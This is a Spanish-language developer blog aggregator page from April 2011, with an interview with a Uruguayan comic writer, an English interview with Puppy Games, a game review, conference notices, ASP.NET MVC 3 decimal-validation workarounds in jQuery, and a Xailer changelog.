Ingenieria de Software / Software Engineering / Project Management / Business Process Management
Los cambios en SCRUM
Abril 29th, 2011 - [Enlace local]
Por demás interesante el post de Juan Palacio en NAvegapolis, donde hace referencia a un estudio realizado por la universidad de Texas donde se ponen en comparación la metodología SCRUM vs Metodología Iterativa, ustedes que opinan???
http://www.navegapolis.net/content/view/1016/62/
» Leer más, comentarios, etc...
Picando Código
Entrevista a Pablo Zignone – Cisplatino, Sicotrónica y más sobre Cómics Uruguayos
Abril 28th, 2011 - [Enlace local]
Pablo Zignone es uno de los autores del cómic uruguayo Cisplatino. Actualmente nuestro país está viviendo un momento bastante especial en lo que respecta a cómics – ¡la cosa está creciendo! Pablo se embarca este año en varios proyectos de los que pintan este interesante panorama, y en esta entrevista nos cuenta un poco al respecto.
- Cisplatino #6 va a ser el último número con el estilo hiperrealista que caracteriza a la historieta. ¿A qué se debe esto? Realizar un cómic de este estilo tiene una carga de trabajo muy grande, ¿esto influyó en la decisión? ¿Ya se tenía pensado que la serie hiperrealista de Cisplatino iba a ser limitada?
El cambio del arte interactúa con la historia en sí. Hay una causa que va más allá de acercar la distancia entre un número y otro. Y no solo va a cambiar el arte, van a ver otro Cisplatino con un nuevo origen.
- En mayo se viene Cisplatino Versus, una nueva saga de 3 números con arte por Nando Souzamotta y tus guiones. ¿Se busca una distribución más dinámica y frecuente con el cambio? ¿Qué podés adelantar de la serie?
Cisplatino Versus es una serie alternativa de Cisplatino. Se trata de un comic pura acción con un Cisplatino un poco más en el futuro, ya presentado, ya conocido en su universo como “superhéroe”. El guión se hizo basándose en el espectacular estilo del dibujante salteño Nando Souzamotta. Este año van a salir los primeros 3 números del primer arco argumental.
- ¿Podemos esperar otras series de Cisplatino en el futuro? ¿Has tenido alguna propuesta para llevar al personaje a otros medios?
Si. Si todo sale bien quizás veamos más ediciones de Cisplatino, ahora estoy muy enfocado en “Versus” junto a Nando y en “Sicotronica” junto a Navas. Estoy hablando de 6 revistas entre mayo y diciembre 2011. Propuestas siempre hay en la vuelta, pero primero lo primero.
- También para mayo estrenan Sicotronica, con dibujo de Sebastián Navas y tu guión. Contanos un poco de qué se trata la serie.
Sicotronica es un nuevo comic uruguayo, pero la historia no está ambientada en ningún lugar geográfico específico. Todas las historias van a comenzar con un relato real y documentado sobre un evento paranormal y de ahí partirá la historia protagonizada por el Dr Clod Karrer. Los primeros tres números tratarán sobre la manipulación parapsicológica. Sebastián Navas es uno de los dibujantes con más sentido de autocrítica del país, sin dudas va a llegar muy lejos. También este año salen los primeros 3 números del primer arco argumental.
- Estos últimos dos títulos se estrenan bajo un nuevo sello editorial. ¿Nos podés contar un poco del sello? ¿Qué va a pasar con Apocalipta y por qué un sello distinto?
Apocalipta es el sello editorial que formé junto a Diego Tapié. O sea que mientras trabajemos en equipo, se publicará bajo Apocalipta. El nuevo sello fue una decisión que me llevó mucho tiempo, se confirmó en el medio del proceso creativo de Cisplatino Versus y Sicotronica. El nombre no lo puedo decir todavía, igual no es importante.
- Siguiendo con Apocalipta, en distintos momentos se anunciaron otros proyectos como Salamandra y Viajador. ¿Alguna noticia de estos proyectos?
Salamandra es un proyecto de Tapié. Viajador es de Baca y Calero. Muchos proyectos quedan en el limbo, así aprendimos a confirmar las cosas cuando ya están hechas. Espero ver a Salamandra algún día porque confío que Diego va a hacer un gran trabajo.
- El cómic nacional está viviendo un momento particularmente interesante con novelas gráficas, ediciones regulares como Cisplatino y Sidekick, entre otros. Sin dudas Apocalipta y Cisplatino han ayudado a estimular el mercado local de cómics. ¿Cómo ves este fenómeno? ¿Qué le recomendás a alguien que quiere iniciarse en la producción de cómics?
Quiero pensar que lo que sucedió hasta ahora es una mínima parte comparado con lo que se viene. Ojala salgan más comics y se arme una industria más grande. Acá hay talento, hay recursos y hay público. Cisplatino Visiones tenía desde un principio el objetivo de incentivar y dar la oportunidad de publicar a artistas nuevos, hoy puedo decir que funcionó. Muchos de los que aparecieron en Visiones, ahora están en la vuelta.
- ¿Qué publicaciones nacionales has leído?
Soy un verdadero ignorante de la historieta nacional. No porque no exista. Si no porque nunca me llegó nada.
- ¿Qué cómics estás leyendo actualmente? ¿Alguno que quieras recomendar?
Soy fanático de Superman. Si no pueden aguantar a saber por dónde va a ir la nueva película, hagan como yo y lean “Legado”.
- ¿Qué cosas cambiaste a nivel personal desde tu comienzo hasta ahora?
Ya no me presento como dibujante. Es más, hace años que no dibujo nada. Creo que en ese aspecto ya llegué al punto personal que quería lograr y ya era hora de ir más allá. Ahora me dedico de lleno a intentar escribir guiones, al coloreado digital, diseño y a la producción de comics. Y mientras me de el lomo lo seguiré haciendo.
- ¿Algún mensaje al nuevo público?
Si van al kiosco/librería más cercana y no está Cisplatino Versus o Sicotronica, insistan. También quiero agradecerle a Diego Tapié por emprender este gran proyecto dando comienzo a Cisplatino y a Sebastián Navas y Nando Souzamotta por acompañarme en estos nuevos emprendimientos. Ellos hicieron un trabajo super profesional con un enorme sacrificio y en pocos días cumplirán su sueño. También te agradezco a vos Fernando por la entrevista. Todavía recuerdo la primera nota que hiciste hace un tiempo. Ojala en el futuro tenga más novedades para contarle a los visitantes de Picando Codigo.
Muchas gracias a Pablo por su tiempo y mucha suerte en estos nuevos emprendimientos. Estén atentos en mayo, y reclamen en su tienda de libros / cómics / revistería amiga los cómics de Cisplatino Versus y Sicotrónica.
Esta es la segunda entrevista exclusiva de Picando Código que publico, ¡me gustaría saber qué les parecen! Por el momento he entrevistado a Cas de Puppy Games y ésta, relacionada al mundo de los cómics. Me interesaría seguir en esa modalidad de publicar entrevistas relacionadas a todos estos temas que cubro en el blog: programación, software libre, ciencia ficción, cómics, etc.
Las entrevistas empezaron con un “le preguntaría tal cosa a tal persona” y terminan en algo más elaborado. Son “las entrevistas que a mí me gustaría leer”, así que espero otros compartan esas inquietudes que tengo. Cualquier comentario es bienvenido, y espero poder seguir molestando a gente relacionada a todas estas cosas que nos interesan.
Comparte:
» Leer más, comentarios, etc...
Arragonán
Jobsket y Open Data en TheEvnt 2011
Abril 28th, 2011 - [Enlace local]
Como algunos supongo que ya sabréis, este año voy de ponente a TheEvnt 2011, los días 13 y 14 de Mayo en Cáceres. La verdad que con el pedazo de cartel que recordaba del año pasado y viendo el de este año; uno, que además odia hablar en público, se hace un poco pequeñito
La cuestión es que hablaré de 2 temas que me apasionan, y que me han permitido tener vivencias y experiencias cuanto menos que curiosas. Además que son las cosas en las que he trabajado por la que la gente me suele identificar o situar más habitualmente(la fama de supuesto programador-nocturno-fiestero ya os digo que es algo totalmente falso, infundado por algunas manos negras
)
El primero de los temas es Open Data, el desafío AbreDatos(¿sabías que está convocado ya el de este año?), DNDzgz y toda la experiencia que ha supuesto este proyecto.
Espero dejar el listón medianamente alto para que todos los asistentes entiendan la importancia que tiene la apertura de datos públicos. Pegadle un ojo desde ya al canal de Probono Publico en vimeo.
El segundo tema será el caso de Jobsket, como ha evolucionado y el montón de cosas que hemos aprendido. Lo que ya aviso es que Jobsket aún NO es un caso de éxito. Esperamos que un día lo sea, pero hoy seguimos aún en fase de bootstraping.
Últimamente estamos contando de algún modo nuestras experiencias con Jobsket, no hace mucho Jordi estuvo hablando en un evento de la Universitat de Lleida y en el Last Tuesday, mientras que Martín en la Xuventude Galicia Net hace dos semanas.
En fin, por ahí irán los tiros de lo que yo contaré. Pero pegadle un ojo al programa del evento, que aunque todavía está sin cerrar, tiene una pinta realmente buena!
» Leer más, comentarios, etc...
Najaraba.com: Software libre, metodologías ágiles y más.
¿Es TDD la hermana pequeña de la validación formal?
Abril 27th, 2011 - [Enlace local]
Hace un tiempo, al crear el grupo de TDD en castellano, hacía esta pregunta del título. ¿Es TDD la hermana pequeña de la validación formal? Hay un artículo del gran E. W. Dijkstra, "Sobre la crueldad de verdaderamente enseñar ciencias de la computación" que me parece muy revelador tal y como hoy entendemos la ingeniería del software, y cómo se veían las cosas hace tan solo poco más de 20
» Leer más, comentarios, etc...
Buayacorp
Dilo en llama
Abril 26th, 2011 - [Enlace local]
LLamacorp:

No te olvides de decir lo que quieras con llamas
¿Por qué? Porque con llamas se hace mejor.
Llamafont.com (Vía tecnoculto).
» Leer más, comentarios, etc...
Variable not found
ASP.NET MVC 3 y la coma en los decimales
Abril 26th, 2011 - [Enlace local]
Si a día de hoy hay algo fatalmente poco resuelto en ASP.NET MVC, es sin duda la localización. Aunque con un poco de paciencia se pueden poner en marcha sistemas completamente adaptados a distintos idiomas y culturas, la verdad es que se echa en falta una mayor consideración, entre otros, con los que osamos utilizar la coma para separar la parte entera de la decimal en un número.
Hace tiempo traté el tema por aquí, y aporté una solución para la versión 2 de ASP.NET MVC, que aún utilizaba las bibliotecas de scripting de Microsoft Ajax. Sin embargo, la versión 3 ha sustituido “de serie” esos componentes por jQuery Validate y el magnífico sistema de validaciones no intrusivas, por lo que todo lo dicho en aquella ocasión no vale ya para nada :-(
El problema radica en que el plugin jQuery Validate utiliza únicamente el punto como separador de decimales, por lo que la validación en cliente de valores de tipo decimal, float o double que utilicen la coma finalizará siempre en un error e impedirá el envío del formulario, como puede observarse en la captura de pantalla de la derecha.
Por cierto, antes de que se me olvide, hace unos meses reportaron este asunto como bug en Microsoft Connect. Si el tema os preocupa, podéis ir y votarlo a ver si conseguimos que este asunto se tenga en cuenta en próximas revisiones.
Sin embargo, estrictamente hablando, no se trata de un bug de ASP.NET MVC, puesto que la validación en cliente ha sido delegada por completo al plugin de jQuery, y éste es el que no tiene en cuenta los aspectos de internacionalización. Desde este punto de vista, quizás tendría más sentido, por tanto, esta issue reportada en Github sobre jQuery Validate, que propone su integración de forma nativa con jQuery Global.
Por tanto, me temo que se trata de un asunto de responsabilidad compartida (y dispersa, por tanto) entre los equipos de MVC, de jQuery Validate, y no sé si de alguno más. Esperemos que entre todos puedan solucionar de forma razonable el problema.
En cualquier caso, los que ya estamos creando aplicaciones con MVC 3 no podemos esperar las soluciones oficiales, que seguro llegarán más tarde o más temprano, y nos vemos obligados a buscar alternativas que nos permitan convivir con este problema de la forma más cómoda posible.
Y esto es lo que veremos en este post: varias posibilidades que tenemos para que la validación en cliente de valores decimales no nos compliquen demasiado la vida. Seguro que hay más, seguro que las hay mejores, pero ahí van unas cuantas opciones que nos pueden ayudar en escenarios como el descrito anteriormente.
1. Desactivar la validación en cliente
Está claro que el problema es en cliente, por lo que si desactivamos estas validaciones y dejamos que sea el servidor el que se encargue de comprobar que los valores de los distintos campos cumplen las restricciones impuestas por su tipo y las anotaciones de datos, ya no nos afectará más la absoluta indiferencia de jQuery Validate hacia las particularidades culturales.Esto podemos conseguirlo de varias formas:
- desactivar la validación en cliente de forma global, estableciendo a
falsela propiedadclientValidationEnableden el web.config, lo cual dejará a toda la aplicación sin validaciones en cliente. Como solución es algo drástica, pero poderse se puede. - desactivar la validación en cliente de forma local, sólo en aquellos formularios en los que existan propiedades de tipo decimal, introduciendo el siguiente código Razor (o su correspondiente en ASPX) antes de la llamada a
BeginForm():@{ Html.EnableClientValidation(false); }
- desactivar la validación en cliente sólo en el campo que nos interese, que podemos conseguir introduciendo el siguiente script, imaginando que el campo decimal en el que queremos anular la validación en cliente tiene como identificador “Altura”:
<script type="text/javascript"> $("#Altura").removeAttr("data-val"); </script>
2. Modificar jQuery Validate
Esta es una solución algo bestia que he encontrado por ahí, pero soluciona el problema de un plumazo: modificar el código de jQuery Validate para que acepte comas en lugar de puntos para separar los dígitos decimales de los enteros tanto en la validación numérica como en los rangos.En el blog de Lenard Gunda podéis encontrar de forma muy detallada los cambios a realizar al archivo jquery.validate.js (o a su versión minimizada). Hay, sin embargo, un par de detalles que debemos tener en cuenta si optamos por esta solución:
- primero, que nos estamos separando de la distribución oficial del plugin. Si actualizamos la biblioteca jquery.validate, por ejemplo utilizando Nuget, volveremos a tenerlo todo como al principio, y tendremos que volver a introducir los cambios oportunos.
- segundo, que esto no nos ayudará en aplicaciones adaptadas a varios idiomas; si modificamos el plugin para que acepte comas como separador, ya no volverá a aceptar el punto. Una solución rápida que se me ocurre para esto es tener dos versiones de la biblioteca (la original y la modificada), y referenciar desde la página la apropiada para la cultura actual.
3. Modificar la forma en que jQuery Validate parsea los decimales
Afortunadamente, el plugin de validación para jQuery es muy flexible, y permite introducir código personalizado para la validación de formato numérico y comprobación de rangos, lo que nos brinda la posibilidad de solucionar nuestro problema de forma muy limpia.El siguiente código sería una primera aproximación a la solución del problema. Como podéis observar, simplemente introducimos en
$.validator.methods.number y $.validator.methods.range las funciones que queremos utilizar para validar respectivamente los números y los rangos, reemplazando la coma por el punto antes de realizar la conversión con parseFloat():<script type="text/javascript">
$.validator.methods.number = function (value, element) {
value = floatValue(value);
return this.optional(element) || !isNaN(value);
}
$.validator.methods.range = function (value, element, param) {
value = floatValue(value);
return this.optional(element) || (value >= param[0] && value <= param[1]);
}
function floatValue(value) {
return parseFloat(value.replace(",", "."));
}
</script>
Si incluimos este script en la página cuando la cultura activa sea la nuestra (o cualquier otra que también utilice la coma para separar decimales), tendremos el problema solucionado.
Una fórmula más elegante y universal sería modificar la función
floatValue(), y en lugar de reemplazar de forma manual los caracteres, utilizar el plugin Global para realizar la conversión a flotante según la cultura actual. Los detalles de esto, sin embargo, los dejo para otro post.En fin, que como habréis comprobado existen mil y un enfoques posibles para enfrentarnos al problema. Espero que las ideas que hemos ido comentando os sean de utilidad para implementar vuestras propias soluciones hasta que tengamos una vía “oficial” para conseguirlo.
Publicado en: Variable not found.
» Leer más, comentarios, etc...
Variable not found
Make Web Not War: materiales y vídeos
Abril 25th, 2011 - [Enlace local]
Vaya, tenía programado este post para que fuera publicado automáticamente hace unos días, pero algo habré hecho mal y se ha quedado en la recámara… bueno, pues más vale tarde que nunca O:-)
Como sabréis, hace poco ha finalizado la gira “Make Web Not War”, una serie de eventos organizados por Microsoft en cinco ciudades del país en los que se trataban distintos temas relacionados con el desarrollo para la web, y donde he tenido la oportunidad de participar como ponente, hablando sobre la última versión del framework ASP.NET MVC.
Aunque me ha tenido varias semanas fuera de juego laboral y blogosféricamente hablando (y lo que todavía tardaré en recuperar la normalidad…), he de decir que ha sido un experiencia realmente impresionante, de la que salgo con muy gratos recuerdos y un buen puñado de amigos con los que espero volver a coincidir en posteriores ocasiones.
A lo que iba, unos días atrás se han publicado los materiales y los vídeos de todas las ponencias del evento de Madrid, la última ciudad de la gira, y a los que podéis acceder desde los siguientes enlaces. En general, se trata de contenidos muy atractivos para los que trabajamos con la web, y seguro que vale la pena dedicar una tarde a que fenómenos como Martín, Jorge, Boris, Alex o Rafael nos cuenten cosas interesantes. Bueno, y si queréis conocer algo de MVC 3, pues también ;-)
![]() | Estándares Web W3C Martín Álvarez-Espinar (W3C) Descargar presentación Ver vídeo | ![]() | Migrar a HTML 5 es fácil… si sabes cómo Jorge Casar (Frontend Spain) Descargar presentación Ver vídeo |
![]() | IE9 para desarrolladores web Boris Armenta (Microsoft) Descargar presentación Ver vídeo | ![]() | Una web más interoperable Alejandro Hidalgo (Plain Concepts) Descargar presentación Ver vídeo |
![]() | El poder de los CMS Rafael Gerardo (Vector SF) Descargar presentación Ver vídeo | ![]() | ASP.NET MVC3 José María Aguilar Descargar presentación Ver vídeo |
Publicado en: Variable not found.
» Leer más, comentarios, etc...
Variable not found
Enlaces interesantes 37
Abril 24th, 2011 - [Enlace local]
Estos son los enlaces publicados en Variable not found en Facebook y Twitter desde el lunes, 11 de abril de 2011 hasta el domingo, 24 de abril de 2011. Espero que te resulten interesantes. :-)
- Solucionar error al instalar helpers MVC de Facebook, por Lluis Franco
Fecha: 21/04/2011 - Lluis Franco: Sesiones del MIX categorizadas
Fecha: 15/04/2011 - Top 13 JavaScript Mistakes.
Fecha: 14/04/2011 - ASP.NET MVC 3 and EF4.1 Code First: Here are my classes, now you do the rest.
Fecha: 14/04/2011 - Gran lista de bibliotecas gratuitas para .net.
Fecha: 14/04/2011 - EF 4.1. version stamping, por Unai Zorrilla.
Fecha: 13/04/2011 - Phil Haack: Announcing ASP.NET MVC 3 Tools Update
Fecha: 13/04/2011 - Cartujadotnet: grupo de usuarios .net en Sevilla.
Fecha: 13/04/2011 - Ugo Lattanzi: ASP.NET MVC Tools update to support EF4.1, jQuery update and fixes
Fecha: 12/04/2011 - Nuget needs your input, by Phil Haack.
Fecha: 12/04/2011 - Using NonActionAttribute to restrict access to public methods of controller in ASP.NET MVC, by Gunnar Peipman.
Fecha: 12/04/2011 - Ado.net Entity Framework 4.1 RTM is out! Cool!
Fecha: 12/04/2011 - Cuadro de texto con autocompletado usando jQuery, Autocomplete y ASP.NET MVC, por luisruizpavon.
Fecha: 12/04/2011 - IE9ify, plugin de jQuery para pinear sitios, añadir tasks y jumplists en IE9, por Gonzalo Pérez
Fecha: 12/04/2011
Publicado en: Variable not found
» Leer más, comentarios, etc...
Picando Código
Gira Ruby Sur 2011
Abril 21st, 2011 - [Enlace local]
Una de las tantas cosas increíbles surgidas en la RubyConf Uruguay del año pasado fue la unión de los grupos de usuarios de Ruby latinoamericanos en RubySur. rabble, el encargado del keynote del RubyConf el año pasado (tengo un post pendiente al respecto todavía) tiró la idea en la lista de correos de RubySur:
En 2010 hicimos coordinación entre Ruby Conf Uruguay y Ruby Conf Brasil. Funcionó bastante bien. La mitad de la gente que venía de afuera de América del sur, fue a ambos eventos. Cuesta mucho menos traer oradores de renombre internacional.
Así comenzó la idea, y todo parece indicar que se convirtió en un hecho:
“La unión hace la fuerza” y las comunidades Ruby de Argentina, Chile, Brasil y Uruguay lo van a aprovechar. De esta forma se busca tener más conferencias y promover a la región como núcleo importante de Ruby. Como ya dije en este blog y sigo repitiendo, la RubyConf Uruguay 2010 fue una conferencia excelente y de primer nivel, y parece que este año se va a venir con todo de nuevo.
La fecha para este año ya está confirmada en Uruguay: 10 y 11 de noviembre. La comunidad Ruby local ya se está empezando a organizar, con una reunión el próximo martes:
Al igual que el año pasado, el llamado a colaboración para los interesados es abierto. Cualquiera que tenga ganas y pueda dedicar tiempo es más que bienvenido a ayudarnos a organizar la mejor conferencia del RubySur Tour (…)
A todo aquel interesado, nos reunimos el martes 26 de abril a las 19:30 en CoworkingMVD, Bulevar España 2529
(http://acavamos.com/geocode?address=Bulevar+España+2529).
Por más información, pueden suscribirse a la lista de correo de Ruby Sur, y estén atentos al sitio de la Gira Ruby Sur 2011.
Comparte:
» Leer más, comentarios, etc...
Picando Código
Interview with Cas from Puppy Games
Abril 20th, 2011 - [Enlace local]
This is definitively this blog’s first post in English. I recently emailed some questions to Cas from Puppy Games, creators of Revenge of the Titans, Titan Attacks, among other awesome retro-classics. Check their website for free demos of their games and the Ultrabundle: 3 awesome games for just U$S 9.97.
Here’s the interview (Spanish readers, I’ll have it translated into Spanish ASAP):
- How did you start with Puppy Games?
10 years ago I had this idea for a multiplayer RTS game, so I got in contact with Chaz (whom I knew from school) and we had a go at developing it. It turned out to be incredibly naive of us to attempt something quite so ambitious, so after burning a ton of money, we gave up, and then decided to have a go at making something rather more modest. This turned out to be Alien Flux in 2003, which was a colossal failure.
- When did you decide to leave your daily jobs and go full-time on Puppy Games? What advise can you give to other indie game developers regarding this important step on their careers?
When we had enough money to do so! Which was right after the Humble Indie Bundle #2, which set us up with enough money to last for a year or so. My advice to other indie game developers is not to go full time unless you are massively brilliant and talented (unlike us), or have a huge pile of cash you don’t mind simply throwing away.
- What development environment do you use for your games?
Both of us are on Windows (Vista64 for me, 7 for Chaz). Our machines are pretty hardcore. I develop in Java using Eclipse.
- What’s the development process like? How does an idea become a videogame at Puppy Games?
Very messily. Typically I copy an existing project, delete most of it, and there’s a basic skeleton. Chaz will be doing mockups of screenshots all the while, and animation movies sometimes. We talk a lot on Skype about the game and what might make it fun. Then we just sort of… start. The game is usually radically different by the end of the process than the one we originally set out to write. Revenge of the Titans started out based on a Flash game called Storm the House. Could you believe that?
- You say you’ve invented the coolest DRM (also known as Digital Restrictions Management) ever. What’s your stance on this issue?
Our DRM is all about just making it easy for customers to get what’s they’ve paid for and make it easy for us to administer and deploy our games as demos. As a side effect we realistically believe in treating people as we wish to be treated ourselves – so we encourage people to share their games with friends and family, because that’s what we’d want to do ourselves. So though we wholeheartedly condemn piracy, we’re all for proper fairness of use.
It is cool that if you Google for “the coolest DRM ever” we’re the top link
- Revenge of the Titans seems to be designed with a lot of balance and levels geometry in mind, making every scenario quite different according to the landscape and the Titan species attacking your base. This also gives way to many different strategies, which is awesome and fun to experiment with. Was this accomplished following any model, trial and error, or are you just geniuses?
We are so totally far from genius it’s not even funny. If I was properly talented in game design we’d have worked out the current design of the game a year ago! As it is it took 3 years just to get it to where it is now, with several total rewrites along the way, and a couple of major gameplay changes even after release. We do a lot of trial and error testing – I spend maybe half of my development time playtesting. And we get a lot of feedback on forums, via email, and through the Puppyblog. Believe it or not we read and listen to everything people say about the game. Obviously there are some limits to what we’re willing to do with it, but by and large, the game is as much a product of the feedback of our huge army of beta testers and demo players as our own design.
- Revenge Of Titans is releasing its code soon. What do you think of the free software development model? Do you think there’s a way it can be profitable to develop free software games? What would be an appropiate business model for videogames being free software?
Funny you should ask this, as I was just labouriously copying and pasting a BSD-style license into all 600-odd source code files for the game. I really haven’t got much of a clue about making money from open sourced games, but at one time or another, I’ve given away all the source code to all of our games (well, made it available to download at any rate) and 50% of any one of our games is already open source software anyway.
I started the LWJGL (http://lwjgl.org) project a long time ago with some Danes and that’s all open source, and it’s produced some proper gems of gaming – Minecraft being the latest and most well-known example. All our games are LWJGL-based (obviously, because that’s why we made LWJGL in the first place!)
- Revenge of Titans seems to be getting lots of popularity recently. With the Humble Indie Bundle and Steam, there’s been a big growth in it’s user base. There’s even an unofficial wiki around for TRoT. On January 2010 you wrote: “One of these days we’re going to have a game that sells enough that I don’t have to do contract work, but that day hasn’t happened yet. We have high hopes for Revenge of the Titans, though! Who knows, maybe we’ll even manage a retail deal, or Steam?” What can you say about a year and months later?
I can say that the stars were right, the tripes were heavy, and the riddle of the bones reads that Puppygames are now awesomely successful. Steam’s done really well for us and we have various other deals working out. We’re full time now and will be for a couple of years, hopefully enough time to get another really good game released, at least in alpha form.
- You make your games multiplatform. This is very welcome for GNU/Linux users like me, do you have an important GNU/Linux user base? How are the OS percentages divided?
I don’t really know – the vast majority of Linux customers arrived from the Humble Indie Bundle #2 which as I recall was something like about 25% or so of the total. So it turns out that Linux is actually a fairly significant and financially viable market – but extraordinarily difficult to reach. Before the Bundle, we made a slow trickle of Linux sales (maybe 5-10% of our total sales), and it wasn’t at all financially viable, but we did it anyway as it didn’t cost us much to do.
- How many Ultrabundles did you get to sell?
About 2,500 or so.
- Is there anything you can tell us about the upcoming new game? Are the Titans going to be back?
The Titans will most definitely want to get their own back! But the next game will be entirely unrelated to the Titans.
So there you go, the Titans will be back eventually. I want to thank Cas for his time in answering all these questions, and both Cas and Chaz for their excellent work at Puppy Games. Be sure to check out their website and don’t miss Revenge of The Titans and the Ultra Bundle with 3 awesome retro games for under ten bucks!
Comparte:
» Leer más, comentarios, etc...
Picando Código
Revenge of the Titans
Abril 19th, 2011 - [Enlace local]
No puedo evitar escribir sobre un juego que me ha estado consumiendo varias horas al día recientemente. Revenge Of the Titans es un juego para PC: GNU/Linux, Windows y Mac OS X del estudio independiente Puppy Games. Mezcla estrategia en tiempo real con la modalidad Tower Defence.
El concepto del juego es el siguiente: Estamos en el planeta Tierra, y los Titans nos invaden. En el mapa vemos nuestra base, algunos minerales en grupos por ahí, y una flecha roja amenazante que nos señala el punto de origen del ataque titánico. Lo que debemos hacer es defender nuestra base posicionando defensas en el camino de los Titanes, y recolectar minerales con refinerías.
Parece un juego de Tower Defence más, pero les aseguro que no es así. Los elementos de estrategia y “time management” hacen que el juego vaya creciendo en complejidad y entretenimiento. Cada nivel tiene un balance matemático entre la geografía y área del terreno, los recursos y los titanes que nos atacan. Esto nos permite realizar distintos tipos de estrategias, desde la más obvia a la más alocada (probado que en ocasiones puede funcionar).
Los gráficos son excelentes, con una onda retro-pixel-art, pero es un juego adrenalínico. Cuando tus defensas empiezan a sucumbir ante el poder de los Titanes… ¡Aaargh! ¿Qué hacer? Quedan cientos de titanes por destruir y todavía no juntaste suficientes recursos para más defensas…
La variedad de titanes aporta mucho a los distintos niveles. Cada especie tiene su forma de desplazarse, velocidad, agresividad y maneras distintas de causarte daño. Son la mezcla ideal de melosos y amenazantes. Hay bien pasivos, que simplemente recorren un camino hasta llegar a tu base (no vayas a poner una estructura delante de su camino, o despídete de ella). También los hay bastante violentos que buscan tus estructuras para destruirlas y desestabilizar tu economía.
Tampoco puedo dejar afuera a los titanes gigantes. Son algo así como los “jefes” de los distintos niveles. El primer Titan gigante en atacarte despierta ganas de abrazarlo y comprarle una ruedita giratoria, pero cuando empieza a destruir todo lo que encuentra a su paso, evoca a tu instinto asesino.
Tras cada nivel, podemos realizar investigaciones que nos llevarán a actualizaciones en nuestras defensas o nuevos edificios para construir. En un principio es algo confuso, ya que no conocemos muchos de los elementos que vemos. Los desarrolladores explican que consideran esto parte de la gracia, ya que uno va descubriendo para qué sirve cada cosa a medida que avanza el juego.
Arranqué con el modo de campaña, y ya lo comencé tres veces de nuevo. Cada vez se me hace más divertido, ya que voy cambiando las estrategias y conociendo más investigaciones, viendo cuál es más efectiva y cuál conviene tener antes o después. Al momento de escribir esta entrada he llegado hasta Saturno en el modo campaña. Estoy en el último nivel, antes de pasar al planeta Titan, donde las cosas se pondrán realmente agitadas.
Conocí el juego a través de Puppy Games. En algún momento llegué a su página y jugué al demo de Titan Attacks. Al comprar el segundo Humble Indie Bundle, obtuve el juego completo de Revenge of the Titans. En ese momento el juego estaba en beta, y fue mejorando mucho a medida que fueron saliendo parches. En un principio era bastante complicado (y hasta tedioso) en el aspecto de tener que recargar a mano las defensas así como recoger los minerales refinados. Pero realmente viene mejorando mucho e incluso se ha alterado el balance para facilitar un poco los niveles, Saturno era imposible de pasar para alguien como yo
Además del modo campaña cuenta con dos modos más:
Endless: Secuencia interminable de frenéticas batallas. Es similar al modo campaña, podemos jugar batallas secuenciales, cada vez más difíciles, pero vamos investigando entre cada nivel.
Survival: Simplemente hay que sobrevivir a las infinitas hordas de titanes que intentan atacar nuestra base.
Esto es solo parte de la diversión, hay mucho más por descubrir (power-ups, medallas, tipos de enemigos, etc.). Los invito a darse una vuelta por la página de Revenge of The Titans. Ahí pueden descargar el demo para las 3 plataformas, solo necesitan tener Java instalado en sus PCs.
Como comentaba más arriba, es un juego que me ha consumido varias horas, ya que es realmente entretenido. ¡Se los recomiendo!
Comparte:
» Leer más, comentarios, etc...
Buayacorp
Prueba si tu navegador soporta HTML5 con html5test
Abril 18th, 2011 - [Enlace local]
Si estás pensando lanzar un sitio nuevo, y necesitas probar la compatibilidad de tu navegador acerca de HTML5, te presento html5test.
Esta herramienta te presenta un “score” de soporte de tu navegador y una lista de resultados de todos los elementos y atributos de HTML5 que son soportados por tu navegador.
Además del score de tu propio navegador puedes ver la lista de elementos soportados por los demás navegadores.
Enlace: html5test.com
» Leer más, comentarios, etc...
Buayacorp
Quijotipsum: generador de Lorem Ipsum en español
Abril 18th, 2011 - [Enlace local]
Quijotipsum es un generador de texto al estilo de Lorem Ipsum, pero que usa como base a El Quijote.
Según los autores tenemos dos ventajas: Texto entendible y texto fresco, novedoso y con tildes para probar la codificación.
Enlace: Quijotipsum.
» Leer más, comentarios, etc...
Buayacorp
css3.me: Otro generador de CSS3
Abril 15th, 2011 - [Enlace local]
css3.me te permite generar código CSS3 y mostrarte los resultados en vivo.
Para poder obtener los resultados lo único que tienes que hacer es arrastrar las barras, o si deseas resultados más personalizados puedes dar click al ícono (+) y cambiar los valores a tu gusto. Podemos elegir las siguientes propiedades:
- border-radius.
- box-shadow.
- background-gradient.
- opacity.
También puedes obtener código que funcione en IE7 e IE8.
Enlace: css3.me.
Visto en: Veerle.
» Leer más, comentarios, etc...
Buayacorp
Usa etiquetas de manera sencilla con jQuery Input Tags
Abril 15th, 2011 - [Enlace local]
Si usas etiquetas en tu sitio, te presentamos a jQuery Input Tags; un plugin de jQuery que te permite gestionar tus etiquetas rápidamente y con un bonito diseño.
Entre sus características se encuentran el uso o no de autocompletado, la separación por comas, etc.
Aunque su funcionamiento es como otros, añade un aspecto más amigable a la gestión.
El sitio nos da además algunos ejemplos de uso y la manera de instalarlo en nuestro sitio.
Enlace y descarga: jQuery Tags Input.
Vía: kabytes.
» Leer más, comentarios, etc...
Buayacorp
¡Arréglalo!
Abril 15th, 2011 - [Enlace local]
No documentes el problema; arréglalo
– Atli Björgvin Oddsson
Visto en: Frases célebres del mundo de la informática.
» Leer más, comentarios, etc...
xailer.info (esp)
Nueva actualización de Xailer a 2.3.2
Abril 15th, 2011 - [Enlace local]
Estimados usuarios de Xailer,
Ya está disponible una pequeña actualización de la versión 2.3 de Xailer a través únicamente de nuestro sistema de ‘Auto update’.
Lamentablemente se nos ha olvidado incluir el fichero con los cambios realizados en esta pequeña revisión, por lo que os los indico al final de este mensaje.
Un saludo
Novedades en la versión Xailer 2.3.2
- IDE:
- Corregido error en opción de menú Herramientas cuando no había ningún proyecto activo
- Al añadir un subproyecto no aparecia en el treeview del gestor de proyectos
- Correcciones en ‘Limpiar proyecto’
- Evitar parpadeo por recarga de árbol de proyectos
- Mejorar deteccion de proyectos en formato antiguo
- Resaltar fondo de los parentesis con su color inverso
- Al pegar desde un elemento pasado del portapapeles, se insertaba el texto, en vez de reemplazar
- No borrar DLLs en ‘Limpiar proyecto’
- Correción de errores en publicar proyecto
- En determinadas circunstancias, el IDE perdia completamente la fuente
- Al grabar un nuevo modulo, despues de renombrarlo, no se refrescaba el editor
- Bug al autocompletar :: en un modulo vacio
- Añadidas nuevas funciones de consola de Clipper para Intellisense (841 funciones)
- DataControls
- MySql: Mecanismo de ‘ping’ para asegurarse de que MySQL sigue activo
